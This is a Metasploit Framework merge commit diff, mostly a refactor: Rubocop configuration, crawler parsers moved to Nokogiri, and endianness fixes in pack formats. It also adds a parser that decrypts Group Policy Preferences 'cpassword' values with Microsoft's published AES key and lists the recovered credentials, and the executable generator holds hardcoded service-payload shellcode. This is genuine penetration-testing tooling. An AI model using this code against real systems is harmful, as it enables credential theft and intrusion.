Metasploit Framework 4.9.3-2014072301

-----BEGIN PGP SIGNATURE-----
 Version: GnuPG v1
 
 iQIcBAABAgAGBQJT0CeVAAoJEJMMBVMNnmqO/7AP/0CBRHjtgiR9VnFKSQ+iWTQV
 iPNMBevn0mpSRq/gpoKCeFBZ6b+YQYrOLXDKVk62VV9LCslkr/P8LW8ul+m+JtB0
 mM6V5esUXM1XhgGEyTnTLRx6BR/WQU1RHlb56ae3nZjQlwCuH/5zEmcy5toZxpsY
 6HO46zE0GGBoLr/VgyYlfT08bfoQ+ICyJN0H5ixoovCc3iW0K1MNqLMfdani8zBJ
 gYJaMysV7XtepumWWQMSC+b/EuertdXXzWDy2bwe0Q3cQXNXzrkPAvtMqucWG+gy
 783OLKCPtVoEZiX87xAptkwmVCRdNGPclaWH7YRZDAh1tqBfRQUg72V/TIrOHCP1
 /lYO7yp5pBQg+1UNnpH+xI2YePFfYdHpYDNT5FSQGOnQjJg30ll4SqCm7cVmo2h5
 BRSYXkPCsQeXGaFarxGERNb8e+qN/WzSrHzY45tQw8mDuhg94tlf3VtDag3FXxhj
 zCxd6bu+tdboVm7FERS85T46kxzmeIycZ4p+Sf7d8gXitl2RKbBdKFNDi1gzeK1T
 yN7bDl4sL7qtDgZLXjFrnyC8vXyAqIrAgmFr2JywMBRm6TiCGQvgnrs+sScU3RFU
 W2tblGbKQq+CwDeC59uQPqxRkm72SMUrKX9448VEQ+9XbKE3TMQ5Q4qCxmnw31Op
 aJ0QgKJz8thZgafZc89I
 =e1z9
 -----END PGP SIGNATURE-----
gpgsig -----BEGIN PGP SIGNATURE-----
 Version: GnuPG v1
 
 iQIcBAABCgAGBQJT4pb8AAoJEA+Ckxyj7hsHn+8P/3FlEYCmoqQ/JzsVtmP3Yi4Q
 gBRva+crY831mCCQXFrPJBvWfmy5HOzVh+Zh7zWF0GQ1WuuMppHfR5ARFVwmiDs3
 qwndhXwziDzBnznf0JKSgT5eJsH23s/ots1lyWymKJvPuT6hn6MRAHUawgnNmYR9
 ttnawmHvCM9Iha2oz3nmkLcNd+83bdBfEWi5l8AQ7jJxwMC2/8VPpMscVVwXqPzd
 CoQugAYZW5VeaEiGio5+19Ix9EPkIDvs6wnfGBtfPfeaOIDZV4XOFoIFUtEeZd5o
 olvEpYvdqscy4Qujzn4C++3wX3bUxkIbHTJHgrKmlD83dI7Cu1JH716G+yfLoJo0
 pQBWTGeWYKEh6leK/9J5Bo1/tOJ/ylbcbvH0Y0tmdu4icHar6uYe1QBrCB9xIdh1
 F+xo4guYnVo616DXJQSwjIye83b5dBxACrfA3bqCnFVFgTM5jXGV1cqiBgs9Dl++
 tIDPgUJkCe/bIdQ7PntlGRzxKihHahlxhCa++YaGKqSq7gXie8Rl4qgloIrbfNZ/
 z3XsoOLNdbMGO7ip88Zjwq4Khj5WZu7ijfCtXO7GU1UJZL1tJ2yK2ic7ZDLc251Y
 8EGMSTG53+6yvZYFtWMZeQzjwD2cpuF04dOmHOKi6KGJJ7KRPhn6gpsbc6U1mbH9
 AjGcfOzhhcsY+WAQ7OG+
 =Pjob
 -----END PGP SIGNATURE-----

Merge tag '2014072301' into staging/electro-release

Conflicts:
	Gemfile.lock
	modules/post/windows/gather/credentials/gpp.rb

This removes the active flag in the gpp.rb module.  According to Lance,
the active flag is no longer used.
bug/bundler_fix
Brandon Turner 2014-08-06 13:48:20 -05:00
commit 91bb0b6e10
109 changed files with 2077 additions and 572 deletions

19
.rubocop.yml Normal file
View File

@ -0,0 +1,19 @@
LineLength:
Enabled: true
Max: 180
MethodLength:
Enabled: true
Max: 100
Style/ClassLength:
Exclude:
# Most modules are quite large and all contained in one class. This is OK.
- 'modules/**/*'
Style/NumericLiterals:
Enabled: false
Documentation:
Exclude:
- 'modules/**/*'

View File

@ -33,6 +33,7 @@ and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-f
## Code Contributions
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
* Similarly, **try** to get Rubocop passing or at least relatively quiet against the files added/modified as part of your contribution
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.

View File

@ -15,6 +15,8 @@ group :db do
end
group :development do
# Style/sanity checking Ruby code
gem 'rubocop'
# Markdown formatting for yard
gem 'redcarpet'
# generating documentation

View File

@ -45,6 +45,7 @@ GEM
arel (3.0.3)
arel-helpers (2.0.1)
activerecord (>= 3.1.0, < 5)
ast (2.0.0)
bcrypt (3.1.7)
builder (3.0.4)
coderay (1.1.0)
@ -87,8 +88,12 @@ GEM
nokogiri (1.6.3.1)
mini_portile (= 0.6.0)
packetfu (1.1.9)
parser (2.1.9)
ast (>= 1.1, < 3.0)
slop (~> 3.4, >= 3.4.5)
pcaprub (0.11.3)
pg (0.17.1)
powerpack (0.0.9)
pry (0.10.0)
coderay (~> 1.1.0)
method_source (~> 0.8.1)
@ -107,6 +112,7 @@ GEM
rake (>= 0.8.7)
rdoc (~> 3.4)
thor (>= 0.14.6, < 2.0)
rainbow (2.0.0)
rake (10.3.2)
rdoc (3.12.2)
json (~> 1.4)
@ -132,10 +138,17 @@ GEM
rspec-core (~> 2.99.0)
rspec-expectations (~> 2.99.0)
rspec-mocks (~> 2.99.0)
rubocop (0.23.0)
json (>= 1.7.7, < 2)
parser (~> 2.1.9)
powerpack (~> 0.0.6)
rainbow (>= 1.99.1, < 3.0)
ruby-progressbar (~> 1.4)
ruby-progressbar (1.5.1)
activesupport (>= 3.0.0)
rubyntlm (0.4.0)
rubyzip (1.1.6)
shoulda-matchers (2.6.2)
activesupport (>= 3.0.0)
simplecov (0.5.4)
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
@ -172,6 +185,7 @@ DEPENDENCIES
redcarpet
rspec (>= 2.12, < 3.0.0)
rspec-rails (>= 2.12, < 3.0.0)
rubocop
shoulda-matchers
simplecov (= 0.5.4)
timecop

View File

@ -13,7 +13,7 @@
require 'rubygems'
require 'pathname'
require 'hpricot'
require 'nokogiri'
require 'uri'
class CrawlerSimple < BaseParser
@ -24,23 +24,20 @@ class CrawlerSimple < BaseParser
return
end
doc = Hpricot(result.body.to_s)
doc.search('a').each do |link|
hr = link.attributes['href']
if hr and !hr.match(/^(\#|javascript\:)/)
begin
hreq = urltohash('GET',hr,request['uri'],nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
#puts "Parse error"
#puts "Error: #{link[0]}"
# doc = Hpricot(result.body.to_s)
doc = Nokogiri::HTML(result.body.to_s)
doc.css('a').each do |anchor_tag|
hr = anchor_tag['href']
if hr && !hr.match(/^(\#|javascript\:)/)
begin
hreq = urltohash('GET', hr, request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
#puts "Parse error"
#puts "Error: #{link[0]}"
end
end
end
end
end
end

View File

@ -13,7 +13,7 @@
require 'rubygems'
require 'pathname'
require 'hpricot'
require 'nokogiri'
require 'uri'
class CrawlerForms < BaseParser
@ -27,49 +27,30 @@ class CrawlerForms < BaseParser
hr = ''
m = ''
doc = Hpricot(result.body.to_s)
doc.search('form').each do |f|
hr = f.attributes['action']
doc = Nokogiri::HTML(result.body.to_s)
doc.css('form').each do |f|
hr = f['action']
fname = f.attributes['name']
if fname.empty?
fname = "NONE"
end
fname = f['name']
fname = "NONE" if fname.empty?
m = "GET"
if !f.attributes['method'].empty?
m = f.attributes['method'].upcase
end
m = f['method'].empty? ? 'GET' : f['method'].upcase
#puts "Parsing form name: #{fname} (#{m})"
htmlform = Hpricot(f.inner_html)
htmlform = Nokogiri::HTML(f.inner_html)
arrdata = []
htmlform.search('input').each do |p|
#puts p.attributes['name']
#puts p.attributes['type']
#puts p.attributes['value']
#raw_request has uri_encoding disabled as it encodes '='.
arrdata << (p.attributes['name'] + "=" + Rex::Text.uri_encode(p.attributes['value']))
htmlform.css('input').each do |p|
arrdata << "#{p['name']}=#{Rex::Text.uri_encode(p['value'])}"
end
data = arrdata.join("&").to_s
begin
hreq = urltohash(m,hr,request['uri'],data)
hreq = urltohash(m, hr, request['uri'], data)
hreq['ctype'] = 'application/x-www-form-urlencoded'
insertnewpath(hreq)
rescue URI::InvalidURIError
#puts "Parse error"
#puts "Error: #{link[0]}"
end
end
end

View File

@ -9,33 +9,29 @@
require 'rubygems'
require 'pathname'
require 'hpricot'
require 'nokogiri'
require 'uri'
class CrawlerFrames < BaseParser
def parse(request,result)
if !result['Content-Type'].include? "text/html"
return
end
return unless result['Content-Type'].include?('text/html')
doc = Hpricot(result.body.to_s)
doc.search('iframe').each do |ifra|
doc = Nokogiri::HTML(result.body.to_s)
doc.css('iframe').each do |ifra|
ir = ifra['src']
ir = ifra.attributes['src']
if ir and !ir.match(/^(\#|javascript\:)/)
begin
hreq = urltohash('GET',ir,request['uri'],nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
#puts "Error"
if ir && !ir.match(/^(\#|javascript\:)/)
begin
hreq = urltohash('GET', ir, request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
end
end
end
end
end
end

View File

@ -10,33 +10,26 @@
require 'rubygems'
require 'pathname'
require 'hpricot'
require 'nokogiri'
require 'uri'
class CrawlerImage < BaseParser
def parse(request,result)
if !result['Content-Type'].include? "text/html"
return
end
return unless result['Content-Type'].include?('text/html')
doc = Hpricot(result.body.to_s)
doc.search('img').each do |i|
im = i.attributes['src']
if im and !im.match(/^(\#|javascript\:)/)
begin
hreq = urltohash('GET',im,request['uri'],nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
#puts "Parse error"
#puts "Error: #{i[0]}"
doc = Nokogiri::HTML(result.body.to_s)
doc.css('img').each do |i|
im = i['src']
if im && !im.match(/^(\#|javascript\:)/)
begin
hreq = urltohash('GET', im, request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
end
end
end
end
end
end

View File

@ -10,33 +10,25 @@
require 'rubygems'
require 'pathname'
require 'hpricot'
require 'nokogiri'
require 'uri'
class CrawlerLink < BaseParser
def parse(request,result)
return unless result['Content-Type'].include?('text/html')
if !result['Content-Type'].include? "text/html"
return
end
doc = Hpricot(result.body.to_s)
doc.search('link').each do |link|
hr = link.attributes['href']
if hr and !hr.match(/^(\#|javascript\:)/)
begin
hreq = urltohash('GET',hr,request['uri'],nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
#puts "Parse error"
#puts "Error: #{link[0]}"
doc = Nokogiri::HTML(result.body.to_s)
doc.css('link').each do |link|
hr = link['href']
if hr && !hr.match(/^(\#|javascript\:)/)
begin
hreq = urltohash('GET', hr, request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
end
end
end
end
end
end

View File

@ -13,36 +13,25 @@
require 'rubygems'
require 'pathname'
require 'hpricot'
require 'nokogiri'
require 'uri'
class CrawlerObjects < BaseParser
def parse(request,result)
if !result['Content-Type'].include? "text/html"
return
end
return unless result['Content-Type'].include?('text/html') # TOOD: use MIXIN
hr = ''
m = ''
doc = Hpricot(result.body.to_s)
doc.search("//object/embed").each do |obj|
doc = Nokogiri::HTML(result.body.to_s)
doc.xpath("//object/embed").each do |obj|
s = obj['src']
begin
hreq = urltohash('GET',s,request['uri'],nil)
hreq = urltohash('GET', s, request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
#puts "Parse error"
#puts "Error: #{link[0]}"
end
end
end
end

View File

@ -13,36 +13,27 @@
require 'rubygems'
require 'pathname'
require 'hpricot'
require 'nokogiri'
require 'uri'
class CrawlerScripts < BaseParser
def parse(request,result)
if !result['Content-Type'].include? "text/html"
return
end
return unless result['Content-Type'].include? "text/html"
hr = ''
m = ''
doc = Hpricot(result.body.to_s)
doc.search("//script").each do |obj|
doc = Nokogiri::HTML(result.body.to_s)
doc.xpath("//script").each do |obj|
s = obj['src']
begin
hreq = urltohash('GET',s,request['uri'],nil)
hreq = urltohash('GET', s, request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
#puts "Parse error"
#puts "Error: #{link[0]}"
end
end
end
end

View File

@ -37,7 +37,7 @@ class BitStruct
old_writer = "#{attr_chars}="
define_method "#{attr}=" do |val|
data = val.split(sep).map{|s|s.to_i(base)}.pack("c*")
data = val.split(sep).map{|s|s.to_i(base)}.pack("C*")
send(old_writer, data)
end
end

View File

@ -246,8 +246,7 @@ module Exploit::Remote::AFP
end
def parse_header(packet)
header = packet.unpack('CCnNNN') #ruby 1.8.7 don't support unpacking signed integers in big-endian order
header[3] = packet[4..7].reverse.unpack("l").first
header = packet.unpack('CCnNNN')
return header
end

View File

@ -13,6 +13,7 @@ module Msf::Post::Windows
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/services'
require 'msf/core/post/windows/wmic'
require 'msf/core/post/windows/netapi'
require 'msf/core/post/windows/shadowcopy'
require 'msf/core/post/windows/user_profiles'
require 'msf/core/post/windows/ldap'

View File

@ -270,7 +270,7 @@ module Accounts
#define generic mapping structure
gen_map = [0,0,0,0]
gen_map = gen_map.pack("L")
gen_map = gen_map.pack("V")
buffer_size = 500
#get Security Descriptor for the directory

View File

@ -248,7 +248,7 @@ module LDAP
# @param pEntry [Fixnum] Pointer to the Entry
# @return [Array] Entry data structure
def get_entry(pEntry)
return client.railgun.memread(pEntry,41).unpack('LLLLLLLLLSCCC')
return client.railgun.memread(pEntry,41).unpack('VVVVVVVVVvCCC')
end
# Get BER Element data structure from LDAPMessage
@ -256,7 +256,7 @@ module LDAP
# @param msg [String] The LDAP Message from the server
# @return [String] The BER data structure
def get_ber(msg)
ber = client.railgun.memread(msg[2],60).unpack('L*')
ber = client.railgun.memread(msg[2],60).unpack('V*')
# BER Pointer is different between x86 and x64
if client.platform =~ /x64/

View File

@ -68,6 +68,11 @@ module NetAPI
base = 0
struct_size = 8
hosts = []
if count == 0
return hosts
end
mem = client.railgun.memread(start_ptr, struct_size*count)
count.times do

View File

@ -334,7 +334,7 @@ module Services
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{handle["GetLastError"]}")
end
vals = status['lpServiceStatus'].unpack('L*')
vals = status['lpServiceStatus'].unpack('V*')
adv.CloseServiceHandle(handle["return"])
ret = {

View File

@ -340,22 +340,22 @@ require 'msf/core/exe/segment_injector'
# look for section with entry point
sections_header.each do |sec|
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('L')[0]
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('L')[0]
characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0]
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('L')[0]
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
if (importsTable - addressOfEntryPoint) < code.length
#shift original entry point to prevent tables overwritting
addressOfEntryPoint = importsTable - (code.length + 4)
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('L')
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
end
# put this section writable
characteristics |= 0x8000_0000
newcharacteristics = [characteristics].pack('L')
newcharacteristics = [characteristics].pack('V')
exe[sec[0],newcharacteristics.length] = newcharacteristics
end
end
@ -572,20 +572,20 @@ require 'msf/core/exe/segment_injector'
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
"\x26\x07\xFF\xD5"+pushed_service_name+"\x89\xE1" +
"\x8D\x85"+[svcmain_code_offset].pack('<I')+"\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
"\x8D\x85"+[svcmain_code_offset].pack('V')+"\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
[hash_code_offset].pack('<I')+pushed_service_name+"\x89\xE1\x8D" +
"\x85"+[svcctrlhandler_code_offset].pack('<I')+"\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
[hash_code_offset].pack('V')+pushed_service_name+"\x89\xE1\x8D" +
"\x85"+[svcctrlhandler_code_offset].pack('V')+"\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
"\x40\x68\x00\x10\x00\x00\x68"+[code.length].pack('<I')+"\x57\x51\x68\xAE\x87" +
"\x40\x68\x00\x10\x00\x00\x68"+[code.length].pack('V')+"\x57\x51\x68\xAE\x87" +
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
[shellcode_code_offset].pack('<I')+"\x54\x68"+[code.length].pack('<I') +
[shellcode_code_offset].pack('V')+"\x54\x68"+[code.length].pack('V') +
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
@ -654,12 +654,17 @@ require 'msf/core/exe/segment_injector'
msi = fd.read(fd.stat.size)
}
section_size = 2**(msi[30..31].unpack('s')[0])
sector_allocation_table = msi[section_size..section_size*2].unpack('l*')
section_size = 2**(msi[30..31].unpack('v')[0])
# This table is one of the few cases where signed values are needed
sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')
buffer_chain = []
current_secid = 5 # This is closely coupled with the template provided and ideally
# would be calculated from the dir stream?
# This is closely coupled with the template provided and ideally
# would be calculated from the dir stream?
current_secid = 5
until current_secid == -2
buffer_chain << current_secid
@ -827,8 +832,8 @@ require 'msf/core/exe/segment_injector'
# Check EI_CLASS to determine if the header is 32 or 64 bit
# Use the proper offsets and pack size
case elf[4]
when 1, "\x01" # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9)
case elf[4,1].unpack("C").first
when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)
if big_endian
elf[0x44,4] = [elf.length].pack('N') #p_filesz
elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
@ -836,13 +841,13 @@ require 'msf/core/exe/segment_injector'
elf[0x44,4] = [elf.length].pack('V') #p_filesz
elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
end
when 2, "\x02" # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9)
when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)
if big_endian
elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
else # little endian
elf[0x60,8] = [elf.length].pack('Q') #p_filesz
elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz
elf[0x60,8] = [elf.length].pack('Q<') #p_filesz
elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz
end
else
raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"

View File

@ -49,7 +49,7 @@ module Arch
when ARCH_X86
[addr].pack('V')
when ARCH_X86_64
[addr].pack('Q')
[addr].pack('Q<')
when ARCH_MIPS # ambiguous
[addr].pack('N')
when ARCH_MIPSBE

View File

@ -28,7 +28,7 @@ module NDR
# use to encode:
# byte element_1;
def NDR.byte(string)
return [string].pack('c')
return [string].pack('C')
end
# Encode a byte array

View File

@ -124,7 +124,7 @@ class Util
def self.getUnicodeString(buf)
buf = buf.unpack('S*').pack('C*')
buf = buf.unpack('v*').pack('C*')
if (idx = buf.index(0x00.chr))
buf.slice!(idx, buf.length)
end
@ -132,7 +132,7 @@ class Util
end
def self.putUnicodeString(buf)
buf = buf.unpack('C*').pack('S*')
buf = buf.unpack('C*').pack('v*')
if (buf.length < 0x40)
buf << "\x00" * (0x40 - buf.length)
end

View File

@ -0,0 +1,159 @@
# -*- coding: binary -*-
#
module Rex
module Parser
# This is a parser for the Windows Group Policy Preferences file
# format. It's used by modules/post/windows/gather/credentials/gpp.rb
# and uses REXML (as opposed to Nokogiri) for its XML parsing.
# See: http://msdn.microsoft.com/en-gb/library/cc232587.aspx
class GPP
require 'rex'
require 'rexml/document'
def self.parse(data)
if data.nil?
return []
end
xml = REXML::Document.new(data).root
results = []
unless xml and xml.elements and xml.elements.to_a("//Properties")
return []
end
xml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
password = self.decrypt(epassword)
user = node.attributes['runAs'] if node.attributes['runAs']
user = node.attributes['accountName'] if node.attributes['accountName']
user = node.attributes['username'] if node.attributes['username']
user = node.attributes['userName'] if node.attributes['userName']
user = node.attributes['newName'] unless node.attributes['newName'].nil? || node.attributes['newName'].empty?
changed = node.parent.attributes['changed']
# Printers and Shares
path = node.attributes['path']
# Datasources
dsn = node.attributes['dsn']
driver = node.attributes['driver']
# Tasks
app_name = node.attributes['appName']
# Services
service = node.attributes['serviceName']
# Groups
expires = node.attributes['expires']
never_expires = node.attributes['neverExpires']
disabled = node.attributes['acctDisabled']
result = {
:USER => user,
:PASS => password,
:CHANGED => changed
}
result.merge!({ :EXPIRES => expires }) unless expires.nil? || expires.empty?
result.merge!({ :NEVER_EXPIRES => never_expires.to_i }) unless never_expires.nil? || never_expires.empty?
result.merge!({ :DISABLED => disabled.to_i }) unless disabled.nil? || disabled.empty?
result.merge!({ :PATH => path }) unless path.nil? || path.empty?
result.merge!({ :DATASOURCE => dsn }) unless dsn.nil? || dsn.empty?
result.merge!({ :DRIVER => driver }) unless driver.nil? || driver.empty?
result.merge!({ :TASK => app_name }) unless app_name.nil? || app_name.empty?
result.merge!({ :SERVICE => service }) unless service.nil? || service.empty?
attributes = []
node.elements.each('//Attributes//Attribute') do |dsn_attribute|
attributes << {
:A_NAME => dsn_attribute.attributes['name'],
:A_VALUE => dsn_attribute.attributes['value']
}
end
result.merge!({ :ATTRIBUTES => attributes }) unless attributes.empty?
results << result
end
results
end
def self.create_tables(results, filetype, domain=nil, dc=nil)
tables = []
results.each do |result|
table = Rex::Ui::Text::Table.new(
'Header' => 'Group Policy Credential Info',
'Indent' => 1,
'SortIndex' => -1,
'Columns' =>
[
'Name',
'Value',
]
)
table << ["TYPE", filetype]
table << ["USERNAME", result[:USER]]
table << ["PASSWORD", result[:PASS]]
table << ["DOMAIN CONTROLLER", dc] unless dc.nil? || dc.empty?
table << ["DOMAIN", domain] unless domain.nil? || domain.empty?
table << ["CHANGED", result[:CHANGED]]
table << ["EXPIRES", result[:EXPIRES]] unless result[:EXPIRES].nil? || result[:EXPIRES].empty?
table << ["NEVER_EXPIRES?", result[:NEVER_EXPIRES]] unless result[:NEVER_EXPIRES].nil?
table << ["DISABLED", result[:DISABLED]] unless result[:DISABLED].nil?
table << ["PATH", result[:PATH]] unless result[:PATH].nil? || result[:PATH].empty?
table << ["DATASOURCE", result[:DSN]] unless result[:DSN].nil? || result[:DSN].empty?
table << ["DRIVER", result[:DRIVER]] unless result[:DRIVER].nil? || result[:DRIVER].empty?
table << ["TASK", result[:TASK]] unless result[:TASK].nil? || result[:TASK].empty?
table << ["SERVICE", result[:SERVICE]] unless result[:SERVICE].nil? || result[:SERVICE].empty?
unless result[:ATTRIBUTES].nil? || result[:ATTRIBUTES].empty?
result[:ATTRIBUTES].each do |dsn_attribute|
table << ["ATTRIBUTE", "#{dsn_attribute[:A_NAME]} - #{dsn_attribute[:A_VALUE]}"]
end
end
tables << table
end
tables
end
# Decrypts passwords using Microsoft's published key:
# http://msdn.microsoft.com/en-us/library/cc422924.aspx
def self.decrypt(encrypted_data)
unless encrypted_data
return ""
end
password = ""
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Rex::Text.decode_base64(epassword)
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
begin
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
password = plaintext.unpack('v*').pack('C*') # UNICODE conversion
rescue OpenSSL::Cipher::CipherError => e
puts "Unable to decode: \"#{encrypted_data}\" Exception: #{e}"
end
password
end
end
end
end

View File

@ -120,7 +120,7 @@ class DLL
raise "#{function.params.length} arguments expected. #{args.length} arguments provided." unless args.length == function.params.length
if( client.platform =~ /x64/i )
native = 'Q'
native = 'Q<'
else
native = 'V'
end
@ -153,12 +153,12 @@ class DLL
buffer_size = args[param_idx]
if param_desc[0] == "PDWORD"
# bump up the size for an x64 pointer
if( native == 'Q' and buffer_size == 4 )
if( native == 'Q<' and buffer_size == 4 )
args[param_idx] = 8
buffer_size = args[param_idx]
end
if( native == 'Q' )
if( native == 'Q<' )
raise "Please pass 8 for 'out' PDWORDS, since they require a buffer of size 8" unless buffer_size == 8
elsif( native == 'V' )
raise "Please pass 4 for 'out' PDWORDS, since they require a buffer of size 4" unless buffer_size == 4
@ -288,7 +288,7 @@ class DLL
#process return value
case function.return_type
when "LPVOID", "HANDLE"
if( native == 'Q' )
if( native == 'Q<' )
return_hash["return"] = rec_return_value
else
return_hash["return"] = rec_return_value % 4294967296
@ -318,7 +318,7 @@ class DLL
buffer = rec_out_only_buffers[buffer_item.addr, buffer_item.length_in_bytes]
case buffer_item.datatype
when "PDWORD"
return_hash[param_name] = buffer.unpack('V')[0]
return_hash[param_name] = buffer.unpack(native)[0]
when "PCHAR"
return_hash[param_name] = asciiz_to_str(buffer)
when "PWCHAR"
@ -338,7 +338,7 @@ class DLL
buffer = rec_inout_buffers[buffer_item.addr, buffer_item.length_in_bytes]
case buffer_item.datatype
when "PDWORD"
return_hash[param_name] = buffer.unpack('V')[0]
return_hash[param_name] = buffer.unpack(native)[0]
when "PCHAR"
return_hash[param_name] = asciiz_to_str(buffer)
when "PWCHAR"

View File

@ -50,7 +50,7 @@ class MultiCaller
@win_consts = win_consts
if( @client.platform =~ /x64/i )
@native = 'Q'
@native = 'Q<'
else
@native = 'V'
end
@ -102,12 +102,12 @@ class MultiCaller
raise "error in param #{param_desc[1]}: Out-only buffers must be described by a number indicating their size in bytes " unless args[param_idx].class == Fixnum
buffer_size = args[param_idx]
# bump up the size for an x64 pointer
if( @native == 'Q' and buffer_size == 4 )
if( @native == 'Q<' and buffer_size == 4 )
args[param_idx] = 8
buffer_size = args[param_idx]
end
if( @native == 'Q' )
if( @native == 'Q<' )
raise "Please pass 8 for 'out' PDWORDS, since they require a buffer of size 8" unless buffer_size == 8
elsif( @native == 'V' )
raise "Please pass 4 for 'out' PDWORDS, since they require a buffer of size 4" unless buffer_size == 4
@ -242,7 +242,7 @@ class MultiCaller
#process return value
case function.return_type
when "LPVOID", "HANDLE"
if( @native == 'Q' )
if( @native == 'Q<' )
return_hash["return"] = rec_return_value
else
return_hash["return"] = rec_return_value % 4294967296

View File

@ -27,8 +27,8 @@ module PointerUtil
case platform
when PlatformUtil::X86_64
# XXX: Only works if attacker and victim are like-endianed
[pointer].pack('Q')
# Assume little endian
[pointer].pack('Q<')
when PlatformUtil::X86_32
[pointer].pack('V')
else
@ -40,8 +40,8 @@ module PointerUtil
def self.unpack_pointer(packed_pointer, platform)
case platform
when PlatformUtil::X86_64
# XXX: Only works if attacker and victim are like-endianed
packed_pointer.unpack('Q').first
# Assume little endian
packed_pointer.unpack('Q<').first
when PlatformUtil::X86_32
packed_pointer.unpack('V').first
else

View File

@ -324,8 +324,8 @@ class Util
#
def unpack_pointer(packed_pointer)
if is_64bit
# XXX: Only works if attacker and victim are like-endianed
packed_pointer.unpack('Q')[0]
# Assume little endian
packed_pointer.unpack('Q<')[0]
else
packed_pointer.unpack('V')[0]
end
@ -452,9 +452,9 @@ class Util
# Both on x86 and x64, DWORD is 32 bits
return raw.unpack('V').first
when :BOOL
return raw.unpack('l').first == 1
return raw.unpack('V').first == 1
when :LONG
return raw.unpack('l').first
return raw.unpack('V').first
end
#If nothing worked thus far, return it raw

View File

@ -251,7 +251,7 @@ class Tlv
elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
raw = [value].pack("N")
elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
raw = [ self.htonq( value.to_i ) ].pack("Q")
raw = [ self.htonq( value.to_i ) ].pack("Q<")
elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
if (value == true)
raw = [1].pack("c")
